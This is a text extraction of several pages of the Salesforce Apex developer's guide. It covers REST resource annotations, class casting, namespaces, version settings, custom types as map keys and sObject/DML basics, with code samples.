  • 109. Classes, Objects, and Interfaces • • • Apex REST Annotations @HttpPatch @HttpPost @HttpPut RestResource Annotation The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource. These are some considerations when using this annotation: • • • • The URL mapping is relative to https://instance.salesforce.com/services/apexrest/. A wildcard character (*) may be used. The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not My_Url. To use this annotation, your Apex class must be defined as global. URL Guidelines URL path mappings are as follows: • • The path must begin with a '/' If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed by '/' The rules for mapping URLs are: • • • An exact match always wins. If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those. If no wildcard match is found, an HTTP response status code 404 is returned. The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to your_url, then the API URL is modified as follows: https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the namespaced class is always used. HttpDelete Annotation The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP DELETE request is sent, and deletes the specified resource. To use this annotation, your Apex method must be defined as global static. HttpGet Annotation The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP GET request is sent, and returns the specified resource. These are some considerations when using this annotation: • • To use this annotation, your Apex method must be defined as global static. Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method. HttpPatch Annotation The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP PATCH request is sent, and updates the specified resource. 85
  • 110. Classes, Objects, and Interfaces Classes and Casting To use this annotation, your Apex method must be defined as global static. HttpPost Annotation The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP POST request is sent, and creates a new resource. To use this annotation, your Apex method must be defined as global static. HttpPut Annotation The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP PUT request is sent, and creates or updates the specified resource. To use this annotation, your Apex method must be defined as global static. Classes and Casting In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object from one data type to another. In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport). In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned as a report object, then is cast back into a custom report object. Public virtual class Report { Public class CustomReport extends Report { // Create a list of report objects Report[] Reports = new Report[5]; // Create a custom report object CustomReport a = new CustomReport(); // Because the custom report is a sub class of the Report class, // you can add the custom report object a to the list of report objects Reports.add(a); // // // // The following is not legal, because the compiler does not know that what you are returning is a custom report. You must use cast to tell it that you know what type you are returning CustomReport c = Reports.get(0); // Instead, get the first item in the list by casting it back to a custom report object CustomReport c = (CustomReport) Reports.get(0); } } 86
  • 111. Classes, Objects, and Interfaces Classes and Collections Figure 4: Casting Example In addition, an interface type can be cast to a sub-interface or a class type that implements that interface. Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the instanceof Keyword on page 74. Classes and Collections Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for example, that you can use a user-defined data type only for the value of a map, not for the key. Likewise, you cannot create a set of user-defined objects. If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an interface i1, and MyC implements i1, then MyC can be placed in the list. Collection Casting Because collections in Apex have a declared type at runtime, Apex allows collection casting. Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder. public virtual class PurchaseOrder { 87
  • 112. Classes, Objects, and Interfaces Differences Between Apex Classes and Java Classes Public class CustomerPurchaseOrder extends PurchaseOrder { } { List<PurchaseOrder> POs = new PurchaseOrder[] {}; List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{}; POs = CPOs;} } Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of PurchaseOrder objects contains only CustomerPurchaseOrder objects. If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections have a declared type at runtime. Note: Maps behave in the same way as lists with regards to the value side of the Map—if the value side of map A can be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting is not valid with the particular map at runtime. Differences Between Apex Classes and Java Classes The following is a list of the major differences between Apex classes and Java classes: • • • • • • • • Inner classes and interfaces can only be declared one level deep inside an outer class. Static methods and variables can only be declared in a top-level class definition, not in an inner class. Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword). The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private. Specifying no access modifier for a method or variable and the private access modifier are synonymous. The public access modifier means the method or variable can be used by any Apex in this application or namespace. The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains it as global. Methods and classes are final by default. ◊ The virtual definition modifier allows extension and overrides. ◊ The override keyword must be used explicitly on methods that override base class methods. • • Interface methods have no modifiers—they are always global. Exception classes must extend either exception or another user-defined exception. ◊ Their names must end with the word exception. ◊ Exception classes have four implicit constructors that are built-in, although you can add others. 88
  • 113. Classes, Objects, and Interfaces • Class Definition Creation Classes and interfaces can be defined in triggers and anonymous blocks, but only as local. See Also: Exceptions in Apex Class Definition Creation To create a class in Salesforce: 1. From Setup, click Develop > Apex Classes. 2. Click New. 3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using @isTest. 5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class. Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from a WSDL Document on page 287. Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger. Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true. The Apex Class Editor When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( ) Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next. • To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger. • To make the search operation case sensitive, select the Match Case option. 89
  • 114. Classes, Objects, and Interfaces • Naming Conventions To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(s+)(.*)> and replace it with <h2$1$2>. Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor. Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor. Naming Conventions We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and variable names should be meaningful. It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name. Name Shadowing Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the standard Java form: Public Class Shadow { String s; Shadow(String s) { this.s = s; } // Same name ok setS(String s) { this.s = s; } // Same name ok } Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference to P first. 90
  • 115. Classes, Objects, and Interfaces Namespace Prefix Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used. Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside that top-level class file) or prefixed with the class name. For example: public class p1 { public static final Integer CLASS_INT = 1; public class c { }; } p1.c c = new p1.c(); // This is illegal // Integer i = c.CLASS_INT; // This is correct Integer i = p1.CLASS_INT; Namespace Prefix The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the developer's managed packages take on the following long format: namespace_prefix__obj_or_field_name__c Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified. Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those objects that are defined within its same application namespace. Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to your organization from theAppExchange. Using Namespaces When Invoking Package Methods To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form: namespace_prefix.class.method(args) Using the System Namespace The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of these statements to create an instance of the URL class are equivalent: System.URL url1 = new System.URL('http://na1.salesforce.com'); And: URL url1 = new URL('http://na1.salesforce.com'); 91
  • 116. Classes, Objects, and Interfaces Namespace, Class, and Variable Name Precedence Similarly, to call a static method on the URL class, you can write either of the following: System.URL.getCurrentRequestUrl(); Or: URL.getCurrentRequestUrl(); Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the same name in this case. The System.debug('debug message'); and System.System.debug('debug message'); statements are equivalent. Using the System Namespace for Disambiguation It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime defaults to your custom class and calls the methods in your class. Let’s take a look at the following example. Create this custom Apex class: public class Database { public static String query() { return 'wherefore art thou namespace?'; } } Execute this statement in the Developer Console: sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1); System.debug(acct[0].get('Name')); When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However, the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System namespace: sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1); System.debug(acct[0].get('Name')); Namespace, Class, and Variable Name Precedence Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions in the form of name1.name2.[...].nameN as follows: 1. The parser first assumes that name1 is a local variable with name2 - nameN as field references. 2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name with name3 - nameN as field references. 3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name, name3 is a static variable name, and name4 - nameN are field references. 4. If the third assumption does not hold true, the parser reports an error. 92
  • 117. Classes, Objects, and Interfaces Type Resolution and System Namespace for Types If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates the expression as follows: 1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method invocation. 2. If the first assumption does not hold true: • • If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and name2 is a method invocation. If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static variable name with name3 - nameM as field references, and nameN is a method invocation. 3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name, name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation. 4. If the third assumption does not hold true, the parser reports an error. However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign keys). Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields cannot refer back to Apex expressions. For instance, if you have the following class: public class c { c1 c1 = new c1(); class c1 { c2 c2; } class c2 { Account a; } } Then the following expressions are all legal: c.c1.c2.a.name c.c1.c2.a.owner.lastName.toLowerCase() c.c1.c2.a.tasks c.c1.c2.a.contacts.size() Type Resolution and System Namespace for Types Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows: 1. 2. 3. 4. For a type reference TypeN, the parser first looks up that type as a scalar type. If TypeN is not found, the parser looks up locally defined types. If TypeN still is not found, the parser looks up a class of that name. If TypeN still is not found, the parser looks up system types such as sObjects. For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace T1 (in that order of precedence). Apex Code Versions To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce.com API version. If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version 93
  • 118. Classes, Objects, and Interfaces Setting the Salesforce API Version for Classes and Triggers settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior. Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version of the package before the code was deprecated. Typically, you reference the latest Salesforce.com API version and each installed package version. If you save an Apex class or trigger without specifying the Salesforce.com API version, the class or trigger is associated with the latest installed version by default. If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated with the latest installed version of the managed package by default. Setting the Salesforce API Version for Classes and Triggers To set the Salesforce.com API and Apex version for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger. 3. Click Save. If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed due to the Salesforce.com API version setting, the fields in the objects are controlled by the version settings of C2. Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a method in the test class C1, because the Categories field is not available in version 13.0 of the API. The first class is saved using Salesforce.com API version 13.0: // This class is saved using Salesforce API version 13.0 // Version 13.0 does not include the Idea.categories field global class C2 { global Idea insertIdea(Idea a) { insert a; // category field set to null on insert // retrieve the new idea Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id]; return insertedIdea; } } The following class is saved using Salesforce.com API version 16.0: @isTest // This class is bound to API version 16.0 by Version Settings private class C1 { static testMethod void testC2Method() { Idea i = new Idea(); i.CommunityId = '09aD000000004YCIAY'; i.Title = 'Testing Version Settings'; i.Body = 'Categories field is included in API version 16.0'; i.Categories = 'test'; C2 c2 = new C2(); Idea returnedIdea = c2.insertIdea(i); // retrieve the new idea Idea ideaMoreFields = [SELECT title, categories FROM Idea WHERE Id = :returnedIdea.Id]; 94
  • 119. Classes, Objects, and Interfaces Setting Package Versions for Apex Classes and Triggers // assert that the categories field from the object created // in this class is not null System.assert(i.Categories != null); // assert that the categories field created in C2 is null System.assert(ideaMoreFields.Categories == null); } } Setting Package Versions for Apex Classes and Triggers To configure the package version settings for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger. 3. Click Save. Note the following when working with package version settings: • • If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the Apex class or trigger is associated with the latest installed version of the managed package by default. You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger. Use Show Dependencies to find where a managed package is referenced by a class or trigger. Lists of Custom Types and Sorting Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted. To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface. The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface. Using Custom Types in Map Keys and Sets You can add instances of your own Apex classes to maps and sets. For maps, instances of your Apex classes can be added either as keys or values, but if you add them as keys, there are some special rules that your class must implement for the map to function correctly, that is, for the key to fetch the right value. Similarly, if set elements are instances of your custom class, your class must follow those same rules. Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore because of changed field values. When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your class. Apex uses these two methods to determine equality and uniqueness of keys for your objects. Adding equals and hashCode Methods to Your Class To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an implementation of the following two methods in your class: 95
  • 120. Classes, Objects, and Interfaces • Using Custom Types in Map Keys and Sets The equals method with this signature: public Boolean equals(Object obj) { // Your implementation } Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class, the equals method must be: ◊ ◊ ◊ ◊ ◊ Reflexive: x.equals(x) Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false For any non-null reference value x, x.equals(null) should return false The equals method in Apex is based on the equals method in Java. • The hashCode method with this signature: public Integer hashCode() { // Your implementation } Keep in mind the following when implementing the hashCode method. ◊ If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return the same value. ◊ If two objects are equal, based on the equals method, hashCode must return the same value. ◊ If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct values. The hashCode method in Apex is based on the hashCode method in Java. Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the == operator to compare objects, or the equals method. For example: // obj1 and obj2 are instances of MyClass if (obj1 == obj2) { // Do something } if (obj1.equals(obj2)) { // Do something } Sample This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the == operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique. public class PairNumbers { Integer x,y; public PairNumbers(Integer a, Integer b) { 96
  • 121. Classes, Objects, and Interfaces Using Custom Types in Map Keys and Sets x=a; y=b; } public Boolean equals(Object obj) { if (obj instanceof PairNumbers) { PairNumbers p = (PairNumbers)obj; return ((x==p.x) && (y==p.y)); } return false; } public Integer hashCode() { return (31 * x) ^ y; } } This code snippet makes use of the PairNumbers class. Map<PairNumbers, String> m = new Map<PairNumbers, String>(); PairNumbers p1 = new PairNumbers(1,2); PairNumbers p2 = new PairNumbers(3,4); // Duplicate key PairNumbers p3 = new PairNumbers(1,2); m.put(p1, 'first'); m.put(p2, 'second'); m.put(p3, 'third'); // Map size is 2 because the entry with // the duplicate key overwrote the first entry. System.assertEquals(2, m.size()); // Use the == operator if (p1 == p3) { System.debug('p1 and p3 are equal.'); } // Perform some other operations System.assertEquals(true, m.containsKey(p1)); System.assertEquals(true, m.containsKey(p2)); System.assertEquals(false, m.containsKey(new PairNumbers(5,6))); for(PairNumbers pn : m.keySet()) { System.debug('Key: ' + pn); } List<String> mValues = m.values(); System.debug('m.values: ' + mValues); // Create a set Set<PairNumbers> s1 = new Set<PairNumbers>(); s1.add(p1); s1.add(p2); s1.add(p3); // Verify that we have only two elements // since the p3 is equal to p1. System.assertEquals(2, s1.size()); 97
  • 122. Chapter 7 Working with Data in Apex In this chapter ... • • • • • • • • • sObject Types Adding and Retrieving Data DML SOQL and SOSL Queries SOQL For Loops sObject Collections Dynamic Apex Apex Security and Sharing Custom Settings This chapter describes how you can add and interact with data in the Force.com platform persistence layer. In this chapter, you’ll learn about the main data type that holds data objects—the sObject data type. You’ll also learn about the language used to manipulate data—Data Manipulation Language (DML), and query languages used to retrieve data, such as the (), among other things. This chapter also explains the use of custom settings in Apex. 98
  • 123. Working with Data in Apex sObject Types sObject Types In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object. For example: Account a = new Account(); MyCustomObject__c co = new MyCustomObject__c(); Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used in code that processes different types of sObjects. The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example: sObject s = new Account(); You can also use casting between the generic sObject type and the specific sObject type. For example: // Cast the generic variable s from the example above // into a specific account and account variable a Account a = (Account)s; // The following generates a runtime error Contact c = (Contact)s; Because sObjects work like objects, you can also have the following: Object obj = s; // and a = (Account)obj; DML operations work on variables declared as the generic sObject data type as well as with regular sObjects. sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example: Account a = new Account(); Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For example: Account a = new Account(name = 'Acme', billingcity = 'San Francisco'); For information on accessing existing sObjects from the Force.com platform database, see “SOQL and SOSL Queries” in the Force.com SOQL and SOSL Reference. Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is initially inserted to the database for the first time. For more information see Lists on page 30. Custom Labels Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom label using system.label.label_name. For example: String errorMsg = System.Label.generic_error; 99
  • 124. Working with Data in Apex Accessing sObject Fields For more information on custom labels, see “Custom Labels Overview” in the Salesforce online help. Accessing sObject Fields As in Java, sObject fields can be accessed or changed with simple dot notation. For example: Account a = new Account(); a.Name = 'Acme'; // Access the account name field and assign it 'Acme' System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be changed. If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation. You can set the Id field for Apex code saved using Salesforce.com API version 27.0 and later). Alternatively, you can use the generic sObject put and get methods. See sObject Class. This example shows how you can access the Id field and operations that aren’t allowed on generic sObjects. Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco'); insert a; sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; // This is allowed ID id = s.Id; // The following line results in an error when you try to save String x = s.Name; // This line results in an error when you try to save using API version 26.0 or earlier s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id; Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person account is created. If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example: Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco'); insert a; sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; ID id = s.ID; Account convertedAccount = (Account)s; convertedAccount.name = 'Acme2'; update convertedAccount; Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount); The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly: public class convertToCLA { List<Contact> contacts; List<Lead> leads; List<Account> accounts; public void convertType(Integer phoneNumber) { List<List<sObject>> results = [FIND '4155557000' IN Phone FIELDS RETURNING Contact(Id, Phone, FirstName, LastName), Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)]; sObject[] records = ((List<sObject>)results[0]); if (!records.isEmpty()) { for (Integer i = 0; i < records.size(); i++) { 100
  • 125. Working with Data in Apex Validating sObjects and Fields sObject record = records[i]; if (record.getSObjectType() == Contact.sObjectType) { contacts.add((Contact) record); } else if (record.getSObjectType() == Lead.sObjectType){ leads.add((Lead) record); } else if (record.getSObjectType() == Account.sObjectType) { accounts.add((Account) record); } } } } } Validating sObjects and Fields When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a parse-time exception is thrown when an invalid name is used. In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex code to become invalid: • • • • Changing a field or object name Converting from one data type to another Deleting a field or object Making certain organization-wide changes, such as record sharing, field history tracking, or record types Adding and Retrieving Data Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations—querying records, DML is used for write operations. Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don’t know the type of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific Account sObject and assign it to a variable. Account a = new Account(Name='Account Example'); In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is an example of creating and persisting this account using the insert statement. Account a = new Account(Name='Account Example'); insert a; Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates, deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject instances that you can modify and then persist the changes of. This is an example of querying for an existing 101
  • 126. Working with Data in Apex DML record that has been previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change to the database. // Query existing account. Account a = [SELECT Name,Industry FROM Account WHERE Name='Account Example' LIMIT 1]; // Write the old values the debug log before updating them. System.debug('Account Name before update: ' + a.Name); // Name is Account Example System.debug('Account Industry before update: ' + a.Industry);// Industry is not set // Modify the two fields on the sObject. a.Name = 'Account of the Day'; a.Industry = 'Technology'; // Persist the changes. update a; // Get a new copy of the account from the database with the two fields. Account a = [SELECT Name,Industry FROM Account WHERE Name='Account of the Day' LIMIT 1]; // Verify that updated field values were persisted. System.assertEquals('Account of the Day', a.Name); System.assertEquals('Technology', a.Industry); DML DML Statements vs. Database Class Methods Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code. This is an example of a DML statement to insert a new record. // Create the list of sObjects to insert List<Account> acctList = new List<Account>(); acctList.add(new Account(Name='Acme1')); acctList.add(new Account(Name='Acme2')); // DML statement insert acctList; This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb. // Create the list of sObjects to insert List<Account> acctList = new List<Account>(); acctList.add(new Account(Name='Acme1')); acctList.add(new Account(Name='Acme2')); // DML statement Database.SaveResult[] sr = Database.insert(acctList, false); // Iterate through each returned result for (Database.SaveResult sr : srList) { if (sr.isSuccess()) { // Operation was successful, so get the ID of the record that was processed System.debug('Successfully inserted account. Account ID: ' + sr.getId()); } else { // Operation failed, so get all errors 102
  • 127. Working with Data in Apex DML Operations As Atomic Transactions for(Database.Error err : sr.getErrors()) { System.debug('The following error has occurred.'); System.debug(err.getStatusCode() + ': ' + err.getMessage()); System.debug('Account fields that affected this error: ' + err.getFields()); } } } One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered. By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t and an exception will be thrown for the record that causes a failure. The following helps you decide when you want to use DML statements or Database class methods. • • Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most database procedural languages. Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements. Note: Most operations overlap between the two, except for a few. • • • The merge operation is only available as a DML statement, not as a Database class method. The convertLead operation is only available as a Database class method, not as a DML statement. The Database class also provides methods not available as DML statements, such as methods transaction control and 